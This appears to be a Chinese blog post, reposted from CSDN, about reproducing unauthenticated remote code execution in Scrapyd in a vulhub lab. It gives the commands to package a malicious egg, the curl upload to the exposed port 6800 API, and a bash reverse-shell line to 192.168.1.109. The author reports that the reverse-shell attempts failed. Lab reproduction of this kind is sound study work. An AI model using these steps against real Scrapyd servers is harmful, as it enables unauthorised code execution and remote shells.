vulhub漏洞复现-Scrapy(Scrapyd-unacc)未经身份验证的远程代码执行

Scrapy

Scrapy是适用于Python的一个快速、高层次的屏幕抓取和web抓取框架,用于抓取web站点并从页面中提取结构化的数据。Scrapy用途广泛,可以用于数据挖掘、监测和自动化测试。简单来说是一种爬虫的框架,可以通过它很方便的搞出一个爬虫脚本

Scrapyd 是用于部署和运行 Scrapy spiders 的应用程序。它使用户可以使用 JSON API 部署(上传)项目并控制其 spiders 程序

思路

正因为scrapyd是爬虫框架scrapy提供的云服务,用户可以部署自己的scrapy包到云服务,默认监听在6800端口。所以如果攻击者通过访问该端口并部署恶意代码到服务器,就可进行代码执行,也可获取服务器权限。所以我们可以直接提交一个bashshell

漏洞复现

开启环境,通过6800端口访问服务器端
在这里插入图片描述
在本地下载client端,编写恶意代码并打包

pip install scrapy scrapyd-client
scrapy startproject evil
cd evil
# 编辑 evil/__init__.py, 加入恶意代码
scrapyd-deploy --build-egg=evil.egg

在这里插入图片描述

import os

os.system('touch success')

在这里插入图片描述
打包结束后传上去

curl http://your-ip:6800/addversion.json -F project=evil -F version=r01 -F [email protected]

在这里插入图片描述
进入后台查看命令,发现执行成功
在这里插入图片描述
尝试传一个bash shell上去

bash -i >& /dev/tcp/192.168.1.109/1234 0>&1

在这里插入图片描述
在这里插入图片描述
笑死,直接报错。尝试python反弹shell,直接加倍报错。

おすすめ

転載: blog.csdn.net/weixin_54648419/article/details/120860236